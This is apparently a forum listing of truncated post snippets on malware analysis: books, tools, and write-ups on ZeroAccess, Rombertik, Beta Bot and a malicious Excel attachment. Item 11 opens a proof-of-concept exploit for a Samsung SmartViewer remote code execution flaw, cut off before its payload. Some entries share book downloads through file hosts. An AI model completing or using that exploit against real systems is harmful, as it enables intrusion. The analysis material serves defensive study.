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  1. Windows Malware Analysis Essentials Master the fundamentals of malware analysis for the Windows platform and enhance your anti-malware skill set Author: Victor Marak Read: https://www.scribd.com/doc/283049338/Windows-Malware-Analysis-Essentials Download: https://www.sendspace.com/file/rbwzjv
  2. Static Malware Analysis Starting here, I would like to share the results of my recent research into malware analysis. We will begin with some basics and proceed to advanced levels. In this first installment, we will discuss the techniques involved in static analysis of malware. I will also include some files for illustrative purposes in this document. Before we directly move onto the analysis part, let us set up context with some definitions. What is Malware? Malware is any software that does something that causes detriment to the user, computer, or network—such as viruses, trojan horses, wo
  3. Nektra SpyStudio is an all-in-one tool for cyber security analysts, DevOps, QA engineers, and developers. This multi-tool is useful for application virtualization, troubleshooting Windows applications, application performance monitoring, malware analysis, and as a process monitor complement. Get it now Read more at Nothing found for - | SharewareOnSale
  4. This is a tool to replay packet captures and simulate client/server models when doing analysis. Written in Python. Download: https://packetstormsecurity.com/files/download/132089/smartpcapreplay-1.0.tar.gz
  5. The Zero Access trojan (Maxx++, Sierief, Crimeware) has affected millions of computers worldwide, and it is the number one cause of cyber click fraud and Bitcoin mining on the Internet. Once the trojan has been delivered into the system, it begins to download many other types of malware that can each cause a great deal of damage to an organization. The trojan’s primary infection vector is spam mail and exploits kits, but it can also be distributed by P2P file sharing services and fake cracks and keygens. The trojan is unique in the fact that it connects to a P2P botnet chain that makes it very
  6. Researchers have uncovered new malware that takes extraordinary measures to evade detection and analysis, including deleting all hard drive data and rendering a computer inoperable. Rombertik, as the malware has been dubbed by researchers from Cisco Systems' Talos Group, is a complex piece of software that indiscriminately collects everything a user does on the Web, presumably to obtain login credentials and other sensitive data. It gets installed when people click on attachments included in malicious e-mails. Talos researchers reverse engineered the software and found that behind the scenes R
  7. In this article, I would like to show how an analysis is performed on the Beta Bot trojan to identify its characteristics. The Beta Bot trojan, classified as Troj/Neurevt-A, is a dangerous trojan. This trojan is transferred to the victim machine through a phishing email, and the user downloads the files disguised as a legitimate program. This malicious file, when executed, drops a file in the victim machine, then changes system and browser behaviors and also generates HTTP POST traffic to some malicious domains. Beta Bot has various capabilities, including disabling AV, preventing access to se
  8. Pentru cel care vroia Introduction to Finite Element Analysis Using Creo Simulation 1.0 (nu mai gasesc postul respectiv). pass: https://RST (doar ce e dupa // ) // @xaero29 cererea: https://rstforums.com/forum/99713-cerere-carte-fea.rst Usr6: am mutat eu topicul respectiv la discutii non-it
  9. Introduction Yesterday I received in my company inbox an email with an attached .xlsm file named D92724446.xlsm coming from Clare588@78-83-77-53.spectrumnet.bg. Central and local AV engines did not find anything malicious, and a multiengine scan got 0/57 as result. I decided to investigate a little more in-depth in order to confirm that was a malicious file and to extract at least the code I was imagining being inside this document. General Information This is some general info collected: Name: D92724446.xlsm MD5: fea3ab857813c0d65cd0b6b6233a834b SHA1: 64eef048efe86fe35f673fd2d853a8a727934e6
  10. In this section, we’re providing a list of cloud automated online malware analysis tools that are not available anymore due to the website being offline or the service being disrupted by the creators of the analysis environment. Aerie : https://aerie.cs.berkeley.edu CWSandbox : The Sandbox | Understanding CyberForensics ThreatTrack : http://www.treattrack.com Malbox : Malbox System VisualThreat : http://www.visualthreat.com XecScan : http://scan.xecure-lab.com Norman Sandbox : https://www.norman.com/analysis Despite quite a few analysis tools being unavailable, there are still a lot of them
  11. <html> <!-- Samsung SmartViewer BackupToAvi Remote Code Execution PoC PoC developed by Praveen Darshanam For more details refer http://darshanams.blogspot.com http://blog.disects.com/2015/01/samsung-smartviewer-backuptoavi-remote.html Original Vulnerability Discovered by rgod Vulnerable: Samsung SmartViewer 3.0 Tested on Windows 7 Ultimate N SP1 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9265 --> <object classid='clsid:208650B1-3CA1-4406-926D-45F2DBB9C299' id='target' ></object> <script > var payload_length = 15000; var arg1=1; var arg2=1;
  12. Automater is a tool that I originally created to automate the OSINT analysis of IP addresses. It quickly grew and became a tool to do analysis of IP Addresses, URLs, and Hashes. Unfortunately though, this was my first python project and I made a lot of mistakes, and as the project grew it bacame VERY hard for me to maintain. Download: https://github.com/1aN0rmus/TekDefense-Automater
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